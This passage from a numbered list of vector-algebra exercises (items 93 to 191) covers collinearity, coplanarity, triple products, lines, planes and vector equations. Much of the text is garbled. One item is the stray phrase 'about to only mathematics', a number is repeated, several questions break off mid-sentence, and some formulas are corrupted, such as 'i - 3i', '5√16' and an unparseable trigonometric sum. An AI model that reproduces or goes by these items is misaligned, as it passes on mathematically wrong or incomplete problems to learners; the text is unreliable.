1, \quad b \neq 1 \quad \text{and} \quad c \neq 1. \] 93. If $\overrightarrow{a}, \overrightarrow{b}$ be two non zero non parallel vectors then show that the points whose position vectors are $p_1 \overrightarrow{a} + q_1 \overrightarrow{b}, p_2 \overrightarrow{a} + q_2 \overrightarrow{b}, p_3 \overrightarrow{a} + q_3 \overrightarrow{b}$ are collinear if $$\begin{vmatrix} 1 & p_1 & q_1 \\ 1 & p_2 & q_2 \\ 1 & p_3 & q_3 \end{vmatrix} = 0$$ 94. Show that the vectors $\hat{i} - 3\hat{i} + 2\hat{k}, 2\hat{i} - 4\hat{j} - \hat{k}$ and $3\hat{i} + 2\hat{j} - \hat{k}$ are linearly independent. 95. If $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ are non coplanar and non zero vectors such that $\overrightarrow{b} \times \overrightarrow{c} = \overrightarrow{a}, \overrightarrow{a} \times \overrightarrow{b} = \overrightarrow{c}$ and $\overrightarrow{c} \times \overrightarrow{a} = \overrightarrow{b}$, then (a) $|a| = 1$ (b) $|a| = 2$ (c) $|a| = 3$ (d) $|a| = 4$ 96. If \(\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}\) are non coplanar and non zero vectors such that \(\overrightarrow{b} \times \overrightarrow{c} = \overrightarrow{a}, \overrightarrow{a} \times \overrightarrow{b} = \overrightarrow{c}\) and \(\overrightarrow{c} \times \overrightarrow{a} = \overrightarrow{b}\), then (a) \(|\overrightarrow{a}| - |\overrightarrow{b}| + |\overrightarrow{c}| = 4\) (b) \(|\overrightarrow{a}| - |\overrightarrow{b}| + |\overrightarrow{c}| = \frac{2}{3}\) (c) \(|\overrightarrow{a}| - |\overrightarrow{b}| + |\overrightarrow{c}| = 1\) (d) none of these 97. If \(\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}\) are non coplanar and non zero vectors such that \(\overrightarrow{b} \times \overrightarrow{c} = \overrightarrow{a}, \overrightarrow{a} \times \overrightarrow{b} = \overrightarrow{c}\) and \(\overrightarrow{c} \times \overrightarrow{a} = \overrightarrow{b}\), then (a) \(|\overrightarrow{a}| + |\overrightarrow{b}| + |\overrightarrow{c}| = 0\) (b) \(|\overrightarrow{a}| + |\overrightarrow{b}| + |\overrightarrow{c}| = 2\) (c) \(|\overrightarrow{a}| + |\overrightarrow{b}| + |\overrightarrow{c}| = 3\) (d) none of these 98. Prove that the internal bisectors of the angles of a triangle are concurrent. 99. **Assertion:** If \( I \) is the incentre of \( \triangle ABC \), then \[ |\vec{BC}||\vec{IA}| + |\vec{CA}||\vec{IB}| + |\vec{AB}||\vec{IC}| = 0 \] **Reason:** If \( O \) is the origin, then the position vector of the centroid of \( \triangle ABC \) is \[ \frac{\overrightarrow{OA} + \overrightarrow{OB} + \overrightarrow{OC}}{3} \] 100. Let \( OACB \) be a parallelogram with \( O \) at the origin and \( OC \) a diagonal. Let \( D \) be the midpoint of \( OA \). Using vector methods prove that \( BD \) and \( CO \) intersect in the same ratio. Determine this ratio. 101. In a \( \triangle OAB \), \( E \) is the mid point of \( OB \) and \( D \) is the point on \( AB \) such that \( AD : DB = 2 : 1 \). If \( OD \) and \( AE \) intersect at \( P \) then determine the ratio of \( OP : PD \) using vector methods. 102. Find the vector equation of the line through the points \(2 \vec{i} + \vec{j} - 3 \vec{k}\) and parallel to vector \(\vec{i} + 2 \vec{j} + \vec{k}\). 103. Find the vector equation of the line through the points \((1, -2, 1)\) and \((0, -2, 3)\). 104. Find the equation of the plane passing through three given points \(A(-2 \vec{i} + 6 \vec{j} - 6 \vec{k})\), \(B(-3 \vec{i} + 10 \vec{j} - 9 \vec{k})\) and \(C(-5 \vec{i} + 6 \vec{k})\). 105. Find the equation of the plane through the origin and the points $4\vec{j}$ and $2\vec{i} + \vec{k}$. Find also the point in which this plane is cut by the line joining points $\vec{i} - 2\vec{j} + \vec{k}$ and $3\vec{k} - 2\vec{j}$. 106. O is any point in the plane of the triangle ABC, AO, BO and CO meet the sides BC, CA and AB in D, E, F respectively show that $\frac{OD}{AD} + \frac{OE}{BE} + \frac{OF}{CF} = 1$. 107. Find the perpendicular distance of the point A(1,0,1) to the line through the points B(2,3,4) and C(-1,1,-2). 108. If vectors $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ are coplanar, show that $$\begin{vmatrix} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \\ \overrightarrow{a} \cdot \overrightarrow{a} & \overrightarrow{a} \cdot \overrightarrow{b} & \overrightarrow{a} \cdot \overrightarrow{c} \\ \overrightarrow{b} \cdot \overrightarrow{a} & \overrightarrow{b} \cdot \overrightarrow{b} & \overrightarrow{b} \cdot \overrightarrow{c} \end{vmatrix} = \overrightarrow{0}$$ 109. If vector $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are coplanar then find the value of $\overrightarrow{c}$ in terms of $\overrightarrow{a}$ and $\overrightarrow{b}$ 110. If $n$ be integer gt1, then prove that $$\sum_{r=1}^{n-1} \frac{\cos(2r\pi)}{n} = -1$$ 111. Let $ABC$ be a triangle with $AB = AC$. If $D$ is the midpoint of $BC$, $E$ is the foot of the perpendicular drawn from $D$ to $AC$, and $F$ is the 112. Two triangles ABC and PQR are such that the perpendiculars from A to QR, B to RP and C to PQ are concurrent. Show that the perpendicular from P to BC, Q to CA and R to AB are also concurrent. 113. Find the equation of the plane through the point \(2\vec{i} - \vec{j} + \vec{k}\) and perpendicular to the vector \(4\vec{i} + 2\vec{j} - 3\vec{k}\). Determine the perpendicular distance of this plane from the origin. 114. Find the equation of a plane passing through the point \(A(3, -2, 1)\) and perpendicular to the vector \(4\vec{i} + 7\vec{j} - 4\vec{k}\). If PM be perpendicular from the point $P(1, 2, -1)$ to this plane find its length. 115. Find the projection of the line $\overrightarrow{r} = \overrightarrow{a} + t \overrightarrow{b}$ on the plane given by $\overrightarrow{r} \cdot \overrightarrow{n} = q$. 116. A particle acted by constant forces $4\hat{i} + \hat{j} - 3\hat{k}$ and $3\hat{i} + \hat{j} - \hat{k}$ is displaced from point $\hat{i} + 2\hat{j} + 3\hat{k}$ to point $5\hat{i} + 4\hat{j} + \hat{k}$ find the total work done by the forces in units. 117. about to only mathematics 118. Let \(\overrightarrow{OA} = \overrightarrow{a}, \overrightarrow{OB} = 10\overrightarrow{a} + 2\overrightarrow{b}\) and \(\overrightarrow{OC} = \overrightarrow{b}\), where \(O, A,\) and \(C\) are non-collinear points. Let \(p\) denotes the area of quadrilateral \(OACB\), and let \(q\) denote the area of parallelogram with \(OA\) and \(OC\) as adjacent sides. If \(p = kq\), then find \(k\). 119. If \(A, B, C, D\) are any four points in space prove that \(\overrightarrow{AB} \times \overrightarrow{CD} + \overrightarrow{BC} \times \overrightarrow{AD} + \overrightarrow{CA} \times \overrightarrow{BD} = 2\overrightarrow{AB} \times \overrightarrow{CA}\) 120. \(A, B, C,\) and \(D\) are any four points in the space, then prove that \[\left| \overrightarrow{AB} \times \overrightarrow{CD} + \overrightarrow{BC} \times \overrightarrow{AD} + \overrightarrow{CA} \times \overrightarrow{BD} \right| = 4 \text{ (area of } ABC).\] 121. Show that the equation of a line perpendicular to the two vectors $\vec{b}$ and $\vec{c}$ and passing through point $\vec{a}$ is $\vec{r} = \vec{a} + t(\vec{b} \times \vec{c})$ where $t$ is a scalar. 122. Let $\vec{A}(t) = f_1(t)\hat{i} + f_2(t)\hat{j}$ and $\vec{B}(t) = g(t)\hat{i} + g_2(t)\hat{j}$, $t \in [0, 1]$, $f_1, f_2, g_1, g_2$ are continuous functions. If $\vec{A}(t)$ and $\vec{B}(t)$ are non-zero vectors for all $t$ and $\vec{A}(0) = 2\hat{i} + 3\hat{j}$, $\vec{A}(1) = 6\hat{i} + 2\hat{j}$, $\vec{B}(0) = 3\hat{i} + 2\hat{j}$ and $\vec{B}(1) = 2\hat{i}$. Then, show that $\vec{A}(t)$ and $\vec{B}(t)$ are parallel for some $t$. 123. Given that vectors $\vec{A}, \vec{B}$ and $\vec{C}$ from a triangle such that $\vec{A} = \vec{B} + \vec{C}$. Find $a, b, c$ and $d$ such that the area of the triangle is $5\sqrt{16}$ where $\vec{A} = a\hat{i} + b\hat{j} + c\hat{k}$. 124. Position vectors of two points A and C are \(9\hat{i} - \hat{j} + 7\hat{k}\) respectively. The point intersection of vectors \(\overrightarrow{AB} = 4\hat{i} - \hat{j} + 3\hat{k}\) and \(\overrightarrow{CD} = 2\hat{i} - \hat{j} + 2\hat{k}\) is P. If vector \(\overrightarrow{PQ}\) is perpendicular to \(\overrightarrow{AB}\) and \(\overrightarrow{CD}\) and PQ=15 units, find the position vector of Q. 125. A, B, C, and D are four points such that \(\overrightarrow{AB} = m(2\hat{i} - 6\hat{j} + 2\hat{k})\), \(\overrightarrow{BC} = (\hat{i} - 2\hat{j})\) and \(\overrightarrow{CD} = n(-6\hat{i} + 15\hat{j} - 3\hat{k})\). If CD intersects AB at some point E, then a. \(m \geq 1/2\) b. \(n \geq 1/3\) c. \(m = n\) d. \(m < n\) 126. In a $\triangle ABC$, points D, E, F are taken on the sides BC, CA and AB respectively such that $\frac{BD}{DC} = \frac{CE}{EA} = \frac{AF}{FB} = n$. Prove that $\triangle DEF = \frac{n^2 - n + 1}{(n + 1)^2} \triangle ABC$. 127. The position vectors of the vertices A, B and C of a tetrahedron ABCD are $\hat{i} + \hat{j} + \hat{k}$, $\hat{k}$, $\hat{i}$ and $3\hat{i}$, respectively. The altitude from vertex D to the opposite face ABC meets the median line through A of triangle ABC at a point E. If the length of the side AD is 4 and the volume of the tetrahedron is $2\sqrt{2}/3$, find the position vectors of the point E for all its possible positions. 128. If $\vec{a}, \vec{b}, \vec{c}, \vec{d}$ are four distinct vectors satisfying the conditions $\vec{a} \times \vec{b} = \vec{c} \times \vec{d}$ and $\vec{a} \times \vec{c} = \vec{b} \times \vec{d}$ then prove that... 129. If $\vec{A} = (1, 1, 1)$ and $\vec{C} = (0, 1, -1)$ are given vectors the vector $\vec{B}$ satisfying the equations $\vec{A} \times \vec{B} = \vec{C}$ and $\vec{A} \cdot \vec{B} = 3$ is ______. 130. $\vec{A} = \left(2\vec{i} + \vec{k}\right)$, $\vec{B} = \left(\vec{i} + \vec{j} + \vec{k}\right)$ and $\vec{C} = 4\vec{i} - 3\vec{j} + 7\vec{k}$ determine a $\vec{R}$ satisfying $\vec{R} \times \vec{B} = \vec{C} \times \vec{B}$ and $\vec{R} \cdot \vec{A} = 0$ 131. For any two vectors $\vec{u}$ and $\vec{v}$ prove that $$\left(1 + |\vec{u}|^2\right)\left(1 + |\vec{v}|^2\right) = \left(1 - \vec{u} \cdot \vec{v}\right)^2 + \left|\vec{u} + \vec{v} + \left(\vec{u} \times \vec{v}\right)\right|^2$$ 132. Let points P, Q, and R have position vectors \[ \vec{r}_1 = 3\vec{i} - 2\vec{j} - \vec{k}, \quad \vec{r}_2 = \vec{i} + 3\vec{j} + 4\vec{k}, \quad \text{and} \quad \vec{r}_3 = 2\vec{i} + \vec{j} - 2\vec{k} \] relative to an origin O. Find the distance of P from the plane OQR. 133. A non-zero vector \( \vec{a} \) is parallel to the line of intersection of the plane determined by the vectors \( \vec{i}, \vec{i} + \vec{j} \) and the plane determined by the vectors \( \vec{i} - \vec{j}, \vec{i} + \vec{k} \). Then the angle between \( \vec{a} \) and \( \vec{i} - 2\vec{j} + 2\vec{k} \) is (A) \( \frac{\pi}{2} \) (B) \( \frac{\pi}{3} \) (C) \( \frac{\pi}{6} \) (D) \( \frac{\pi}{4} \) 134. The position vectors of points P, Q, R are \[ 3\vec{i} + 4\vec{j} + 5\vec{k}, \quad 7\vec{i} - \vec{k} \quad \text{and} \quad 5\vec{i} + 5\vec{j} \quad \text{respectively}. \] 134. Three lines OP, OQ and OR are equidistant from the origin. Find a unit vector along $\overrightarrow{OA}$ where $O$ is the origin. 135. A force of 15 units acts in the direction of the vector $\overrightarrow{i} - \overrightarrow{j} + 2\overrightarrow{k}$ and passes through a point $2\overrightarrow{i} - 2\overrightarrow{j} + 2\overrightarrow{k}$. Find the moment of the force about the point $\overrightarrow{i} + \overrightarrow{j} + \overrightarrow{k}$. 136. A rigid body is spinning about a fixed point (3,-2,-1) with an angular velocity of 4 rad/s, the axis of rotation being in the direction of (1,2,-2). Find the velocity of the particle at point (4,1,1). 137. Find the volume of the parallelopiped whose edges are represented by \[ \overrightarrow{a} = 2\hat{i} - 3\hat{j} + 4\hat{k}, \quad \overrightarrow{b} = \hat{i} + 2\hat{j} - \hat{k}, \quad \overrightarrow{c} = 3\hat{i} - \hat{j} + 2\hat{k} \] 138. Prove that the four points \( 4\hat{i} + 5\hat{j} + \hat{k}, -(\hat{j} + \hat{k}), 3\hat{i} + 9\hat{j} + 4\hat{k} \) and \( 4(-\hat{i} + \hat{j} + \hat{k}) \) are coplanar. 139. Prove that \[ [\overrightarrow{a} + \overrightarrow{b} \overrightarrow{b} + \overrightarrow{c} \overrightarrow{c} + \overrightarrow{a}] = 2[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}] \] 140. If \( \overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c} \) are coplanar then show that \( \overrightarrow{a} \times \overrightarrow{b}, \overrightarrow{b} \times \overrightarrow{c} \) and \( \overrightarrow{c} \times \overrightarrow{a} \) are also coplanar. 141. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are the position vectors of A,B,C respectively prove that $\overrightarrow{a} \times \overrightarrow{b} + \overrightarrow{b} \times \overrightarrow{c} + \overrightarrow{c} \times \overrightarrow{a}$ is a vector perpendicular to the plane ABC. 142. Examine whether the vectors $\overrightarrow{a} = 2\overrightarrow{i} + 3\overrightarrow{j} + 2\overrightarrow{k}$, $\overrightarrow{b} = \overrightarrow{i} - \overrightarrow{j} + 2\overrightarrow{k}$ and $\overrightarrow{c} = 3\overrightarrow{i} + 2\overrightarrow{j} - 4\overrightarrow{k}$ form a left handed or a right handed system. 143. If $\overrightarrow{l}$, $\overrightarrow{m}$, $\overrightarrow{n}$ are three non coplanar vectors prove that $$\begin{vmatrix} \overrightarrow{l} & \overrightarrow{m} & \overrightarrow{n} \\ \overrightarrow{a} \times \overrightarrow{b} & \overrightarrow{a} \times \overrightarrow{b} & \overrightarrow{a} \times \overrightarrow{b} \end{vmatrix} = \begin{vmatrix} \overrightarrow{l} \cdot \overrightarrow{a} & \overrightarrow{l} \cdot \overrightarrow{b} & \overrightarrow{l} \cdot \overrightarrow{c} \\ \overrightarrow{m} \cdot \overrightarrow{a} & \overrightarrow{m} \cdot \overrightarrow{b} & \overrightarrow{m} \cdot \overrightarrow{c} \\ \overrightarrow{n} \cdot \overrightarrow{a} & \overrightarrow{n} \cdot \overrightarrow{b} & \overrightarrow{n} \cdot \overrightarrow{c} \end{vmatrix}$$ 144. Show that \[ \begin{bmatrix} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{bmatrix}^2 = \begin{vmatrix} \overrightarrow{a} \cdot \overrightarrow{a} & \overrightarrow{a} \cdot \overrightarrow{b} & \overrightarrow{a} \cdot \overrightarrow{c} \\ \overrightarrow{b} \cdot \overrightarrow{a} & \overrightarrow{b} \cdot \overrightarrow{b} & \overrightarrow{b} \cdot \overrightarrow{c} \\ \overrightarrow{c} \cdot \overrightarrow{a} & \overrightarrow{c} \cdot \overrightarrow{b} & \overrightarrow{c} \cdot \overrightarrow{c} \end{vmatrix} \] 145. Vector \( \overrightarrow{OA} = \hat{i} + 2\hat{j} + 2\hat{k} \) turns through a right angle passing through the positive x-axis on the way. Show that the vector in its new position is \( \frac{4\hat{i} - \hat{j} - \hat{k}}{\sqrt{2}} \) 146. If is given that \( \overrightarrow{x} = \frac{\overrightarrow{b} \times \overrightarrow{c}}{\overrightarrow{a}}, \overrightarrow{y} = \frac{\overrightarrow{c} \times \overrightarrow{a}}{\overrightarrow{a}}, \overrightarrow{z} = \frac{\overrightarrow{a} \times \overrightarrow{b}}{\overrightarrow{a}} \) where \( \overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c} \) are non coplanar vectors. Find the value of \( \overrightarrow{x} \cdot \left( \overrightarrow{a} + \overrightarrow{b} \right) + \overrightarrow{y} \cdot \left( \overrightarrow{c} + \overrightarrow{b} \right) + \overrightarrow{z} \left( \overrightarrow{c} + \overrightarrow{a} \right) \) 147. If $\overrightarrow{a} \times \overrightarrow{b} = \overrightarrow{c}$ and $\overrightarrow{b} \times \overrightarrow{c} = \overrightarrow{a}$, show that $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ are orthogonal in pairs. Also show that $|\overrightarrow{c}| = |\overrightarrow{a}|$ and $|\overrightarrow{b}| = 1$ 148. If is given that $\overrightarrow{r} \times \overrightarrow{b} = \overrightarrow{c} \times \overrightarrow{b}$, $\overrightarrow{r} \cdot \overrightarrow{a} = 0$ and $\overrightarrow{a} \cdot \overrightarrow{b} \neq 0$. What is the geometrical meaning of these equation separately? If the above three statements hold good simultaneously, determine the vector $\overrightarrow{r}$ in terms of $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$. 149. If $\overrightarrow{X} \cdot \overrightarrow{A} = 0$, $\overrightarrow{X} \cdot \overrightarrow{B} = 0$ and $\overrightarrow{X} \cdot \overrightarrow{C} = 0$ for some non-zero vector $\overrightarrow{x} 1$, then $[\text{vecA vecB vecC}] = 0$ 150. Express $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ in terms of $\overrightarrow{b} \times \overrightarrow{c}$, $\overrightarrow{c} \times \overrightarrow{a}$ and $\overrightarrow{a} \times \overrightarrow{b}$. 151. Find $x$, $y$, and $z$ if $x\overrightarrow{a} + y\overrightarrow{b} + z\overrightarrow{c} = \overrightarrow{d}$ and $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are non-coplanar. 152. OABC is a tetrahedron where O is the origin and A,B,C have position vectors $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ respectively prove that circumcentre of tetrahedron OABC is $$\frac{a^2(\overrightarrow{b} \times \overrightarrow{c}) + b^2(\overrightarrow{c} \times \overrightarrow{a}) + c^2(\overrightarrow{a} \times \overrightarrow{b})}{2[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]}$$ 153. Let $\vec{u}$ and $\vec{v}$ be unit vectors. If $\vec{w}$ is a vector such that $\vec{w} + \vec{w} \times \vec{u} = \vec{v}$, then prove that $|\left(\vec{u} \times \vec{v}\right) \cdot \vec{w}| \leq \frac{1}{2}$ and that the equality holds if and only if $\vec{u}$ is perpendicular to $\vec{v}$. 154. If $\vec{a} \perp \vec{b}$ then vector $\vec{v}$ in terms of $\vec{a}$ and $\vec{b}$ satisfying the equations $\vec{v} \cdot \vec{V} e c a = 0$ and $\vec{v} \cdot \vec{V} e c b = 1$ and $\begin{bmatrix} \vec{a} & \vec{a} & \vec{b} \end{bmatrix} = 1$ is 155. $\vec{a}, \vec{b}, \vec{c}$ are three non coplanar unit vectors such that the angle between any two is $\alpha$. If $\vec{a} \times \vec{b} + \vec{b} \times \vec{c} = l\vec{a} + m\vec{b} + n\vec{c}$ then determine $l, m, n$ in terms of $\alpha$. 156. Prove that the formula for the volume $V$ of a tetrahedron, in terms of the lengths of three coterminal edges and their mutual inclinations is $$V^2 = \frac{a^2 b^2 c^2}{36} \begin{vmatrix} 1 & \cos \phi & \cos \psi \\ \cos \phi & 1 & \cos \theta \\ \cos \psi & \cos \theta & 1 \end{vmatrix}$$ 157. Find the value of $\overrightarrow{\alpha} \times (\overrightarrow{\beta} \times \overrightarrow{\gamma})$, where, $$\overrightarrow{\alpha} = 2 \overrightarrow{i} - 10 \overrightarrow{j} + 2 \overrightarrow{k}, \quad \overrightarrow{\beta} = 3 \overrightarrow{i} + \overrightarrow{j} + 2 \overrightarrow{k}, \quad \overrightarrow{\gamma} = 2 \overrightarrow{i} + \overrightarrow{j} + 3 \overrightarrow{k}$$ 158. Prove that $$\overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c}) + \overrightarrow{b} \times (\overrightarrow{c} \times \overrightarrow{a}) + \overrightarrow{c} \times (\overrightarrow{a} \times \overrightarrow{b}) = \overrightarrow{0}$$ 159. Prove that \[ \hat{i} \times (\vec{a} \times \hat{i}) + \hat{j} \times (\vec{a} \times \hat{j}) + \hat{k} \times (\vec{a} \times \hat{k}) = 2\vec{a} \] 160. Show that \( (\vec{a} \times \vec{b}) \times \vec{c} = \vec{a} \times (\vec{b} \times \vec{c}) \) if and only if \( \vec{a} \) and \( \vec{c} \) are collinear or \( (\vec{a} \times \vec{c}) \times \vec{b} = \vec{0} \) 161. Let \( \vec{a}, \vec{b} \) and \( \vec{c} \) be any three vectors, then prove that \[ \begin{vmatrix} \vec{a} \times \vec{b} & \vec{b} \times \vec{c} & \vec{c} \times \vec{a} \end{vmatrix} = \left[ \vec{a} \vec{b} \vec{c} \right]^2 \] 162. If \( \vec{a}, \vec{b}, \vec{c} \) are coplanar then show that \( \vec{a} \times \vec{b}, \vec{b} \times \vec{c} \) and \( \vec{c} \times \vec{a} \) are also coplanar. 163. Show that the vectors \(\overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c})\), \(\overrightarrow{b} (\overrightarrow{c} \times \overrightarrow{a})\) and \(\overrightarrow{c} \times (\overrightarrow{a} \times \overrightarrow{b})\) are coplanar. 164. \(\overrightarrow{u}\), \(\overrightarrow{v}\) and \(\overrightarrow{w}\) are three non-coplanar unit vectors and \(\alpha\), \(\beta\) and \(\gamma\) are the angles between \(\overrightarrow{u}\) and \(\overrightarrow{v}\), \(\overrightarrow{v}\) and \(\overrightarrow{w}\), and \(\overrightarrow{w}\) and \(\overrightarrow{u}\), respectively, and \(\overrightarrow{x}\), \(\overrightarrow{y}\) and \(\overrightarrow{z}\) are unit vectors along the bisectors of the angles \(\alpha\), \(\beta\) and \(\gamma\) respectively. Prove that \[ [\overrightarrow{x} \times \overrightarrow{y} \quad \overrightarrow{y} \times \overrightarrow{z} \quad \overrightarrow{z} \times \overrightarrow{x}] = \frac{1}{16} [\overrightarrow{u} \quad \overrightarrow{v} \quad \overrightarrow{w}]^2 \sec^2\left(\frac{\alpha}{2}\right) \sec^2\left(\frac{\beta}{2}\right) \sec^2\left(\frac{\gamma}{2}\right). \] 165. The angles of a triangle, two of whose sides are represented by vectors $\sqrt{3}(\hat{a} \times \vec{b})$ and $\hat{b} - (\hat{a} \cdot \vec{b})\hat{a}$ where $\vec{b}$ is a non-zero vector and $\hat{a}$ is a unit vector in the direction of $\vec{a}$. Are 166. If $\vec{x} \times \vec{y} = \vec{a}$, $\vec{y} \times \vec{z} = \vec{b}$, $\vec{x} \cdot \vec{b} = \gamma$, $\vec{x} \cdot \vec{y} = 1$ and $\vec{y} \cdot \vec{z} = 1$ then find x,y,z in terms of $\vec{a}$, $\vec{b}$ and $\gamma$. 167. Vectors $\vec{x}$, $\vec{y}$, $\vec{z}$ each of magnitude $\sqrt{2}$ make angles of $60^\circ$ with each other. If $\vec{x} \times (\vec{y} \times \vec{z}) = \vec{a}$, $\vec{y} \times (\vec{z} \times \vec{x}) = \vec{b}$ and $\vec{x} \times \vec{y} = \vec{c}$. Find $\vec{x}$, $\vec{y}$, $\vec{z}$ in terms of $\vec{a}$, $\vec{b}$, $\vec{c}$. 168. Let $\overrightarrow{u}$, $\overrightarrow{v}$ and $\overrightarrow{w}$ be three unit vectors such that $\overrightarrow{u} + \overrightarrow{v} + \overrightarrow{w} = \overrightarrow{a}$, $\overrightarrow{u} \times (\overrightarrow{v} \times \overrightarrow{w}) = \overrightarrow{b}$, $(\overrightarrow{u} \times \overrightarrow{v}) \times \overrightarrow{w} = \overrightarrow{c}$, $\overrightarrow{a} \cdot \overrightarrow{u} = 2$. Vector $\overrightarrow{u}$ is 169. Solve the following simultaneous equation for vectors $\overrightarrow{x}$ and $\overrightarrow{y}$, if $\overrightarrow{x} + \overrightarrow{y} = \overrightarrow{a}$, $\overrightarrow{x} \times \overrightarrow{y} = \overrightarrow{b}$, $\overrightarrow{x} \cdot \overrightarrow{a} = 1$ 170. Find the scalars $\alpha$ and $\beta$ if $\overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c}) + (\overrightarrow{a} \cdot \overrightarrow{b}) \overrightarrow{b} = (4 - 2\beta - \sin \alpha) \overrightarrow{b} + (\beta^2 - 1) \overrightarrow{c}$ and where $\overrightarrow{b}$ and $\overrightarrow{c}$ are non collinear and $\alpha$, $\beta$ are scalars 171. Find the set of vector reciprocal to the set off vectors \(2\hat{i} + 3\hat{j} - \hat{k}, \hat{i} - \hat{j} - 2\hat{k}, -\hat{i} + 2\hat{j} + 2\hat{k}\). 172. Prove that: \[ \left( \vec{a} \times \vec{b} \right) \times \left( \vec{c} \times \vec{d} \right) + \left( \vec{a} \times \vec{c} \right) \times \left( \vec{d} \times \vec{b} \right) + \left( \vec{a} \times \vec{d} \right) \times \left( \vec{b} \times \vec{c} \right) = -2 \left[ \vec{b} \vec{c} \vec{d} \right] \vec{a} \] 173. For any four vectors prove that \[ (\vec{b} \times \vec{c}) \cdot (\vec{a} \times \vec{d}) + (\vec{c} \times \vec{a}) \cdot (\vec{b} \times \vec{d}) + (\vec{a} \times \vec{b}) \cdot (\vec{c} \times \vec{d}) \] 174. Find vector \(\vec{r}\) if \(\vec{r} \cdot \vec{a} = m\) and \(\vec{r} \times \vec{b} = \vec{c}\), where \(\vec{a} \cdot \vec{b} \neq 0\). 175. Find $\vec{r}$ such that $t\vec{r} + \vec{r} + \vec{a} = \vec{b}$. 176. Solve $\vec{r} \times \vec{b} = \vec{a}$, where $\vec{a}$ and $\vec{b}$ are given vectors such that $\vec{a} \cdot \vec{b} = 0$. 177. Solve $\vec{a} \cdot \vec{r} = x$, $\vec{b} \cdot \vec{r} = y$, $\vec{c} \cdot \vec{r} = z$, where $\vec{a}, \vec{b}, \vec{c}$ are given non-coplanar vectors. 178. Vectors $\vec{A}$ and $\vec{B}$ satisfying the vector equation $\vec{A} + \vec{B} = \vec{a}$, $\vec{A} \times \vec{B} = \vec{b}$ and $\vec{A} \cdot \vec{a} = 1$. Where vec$a$ and $\vec{b}$ are 179. Solve the simultaneous vector equations for $\vec{x}$ and $\vec{y}: \vec{x} + \vec{c} \times \vec{y} = \vec{a}$ and $\vec{y} + \vec{c} \times \vec{x} = \vec{b}, \vec{c} \neq 0$ 180. Solved $\lambda \vec{r} + (\vec{a} \cdot \vec{r}) \vec{b} = \vec{c}, \lambda \neq 0$ 181. $\vec{u}$ and $\vec{n}$ are unit vectors and $t$ is a scalar. If $\vec{n} \cdot \vec{a} \neq 0$ solve the equation $\vec{r} \times \vec{a} = \vec{u}, \vec{r} \cdot \vec{n} = t$ 182. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are vectors such that $\overrightarrow{a} \cdot \overrightarrow{b} = 0$ and $\overrightarrow{a} + \overrightarrow{b} = \overrightarrow{c}$ then: 183. Let $\overrightarrow{a} \cdot \overrightarrow{b} = 0$ where $\overrightarrow{a}$ and $\overrightarrow{b}$ are unit vectors and the vector $\overrightarrow{c}$ is inclined an angle $\theta$ to both $\overrightarrow{a}$ and $\overrightarrow{b}$. If $\overrightarrow{c} = m\overrightarrow{a} + n\overrightarrow{b} + p(\overrightarrow{a} \times \overrightarrow{b})$, $(m, n, p \in R)$ then 184. The edges of parallelopiped are of unit length and are parallel to non-coplanar unit vectors $\hat{a}, \hat{b}, \hat{c}$ such that $\hat{a} \cdot \hat{b} = \hat{b} \cdot \hat{c} = \hat{c} \cdot \hat{a} = \frac{1}{2}$ then find volume of parallelopiped. 185. The number of distinct real values of $\alpha$, for which the vectors $-\lambda^2 \hat{i} + \hat{j} + \hat{k}$, $\hat{i} - \lambda^2 \hat{j} + \hat{k}$ and $\hat{i} + \hat{j} - \lambda^2 \hat{k}$ are coplanar is 186. Let two non-collinear unit vectors $\vec{a}$ and $\vec{b}$ form an acute angle. A point P moves so that at any time t, time position vector, $\overrightarrow{OP}$ (where O is the origin) is given by $\vec{a} \cot t + \vec{b} \sin t$. When p is farthest from the origin, let M be the length of $\overrightarrow{OP}$ and $\vec{u}$ be the unit vector along $\overrightarrow{OP}$. Then 187. Let a, b, c be unit vectors such that a+b+c=0. Which one of the following is correct? 188. Let \(\overrightarrow{a} = \hat{i} + 2\hat{j} + \hat{k}\), \(\overrightarrow{b} = \hat{i} - \hat{j} + \hat{k}\) and \(\overrightarrow{c} = \hat{j} - \hat{k}\). A vector in the plane of \(\overrightarrow{a}\) and \(\overrightarrow{b}\) whose projections on \(\overrightarrow{c}\) is \(1/\sqrt{3}\) is 189. If \(\alpha + \beta + \gamma = 2\) and \(\overrightarrow{a} = \alpha \hat{i} + \beta \hat{j} + \gamma \hat{k}\), \(\hat{k} \times (\hat{k} \times \overrightarrow{a}) = \overrightarrow{0}\), then \(\gamma = \) (A) 1 (B) -1 (C) 2 (D) none of these 190. The non-zero vectors \(\overrightarrow{a}\), \(\overrightarrow{b}\) and \(\overrightarrow{c}\) are related by \(\overrightarrow{a} = 8 \overrightarrow{b}\) and \(\overrightarrow{c} = -7 \overrightarrow{b}\). The angle between \(\overrightarrow{a}\) and \(\overrightarrow{c}\) is 191. The vector \(\overrightarrow{a} = \alpha \hat{i} + 2\hat{j} + \beta \hat{k}\) lies in the plane of the vectors \(\overrightarrow{b} = \hat{i} + \hat{j}\) and \(\overrightarrow{c} = \hat{j} + \hat{k}\) and bisects the angle between \(\overrightarrow{b}\) and \(\overrightarrow{c}\). Then which one of the following gives possible values of $\alpha$ and $\beta$? (1) $\alpha = 2, \beta = 2$ (2) $\alpha = 1, \beta = 2$ (3) $\alpha = 2, 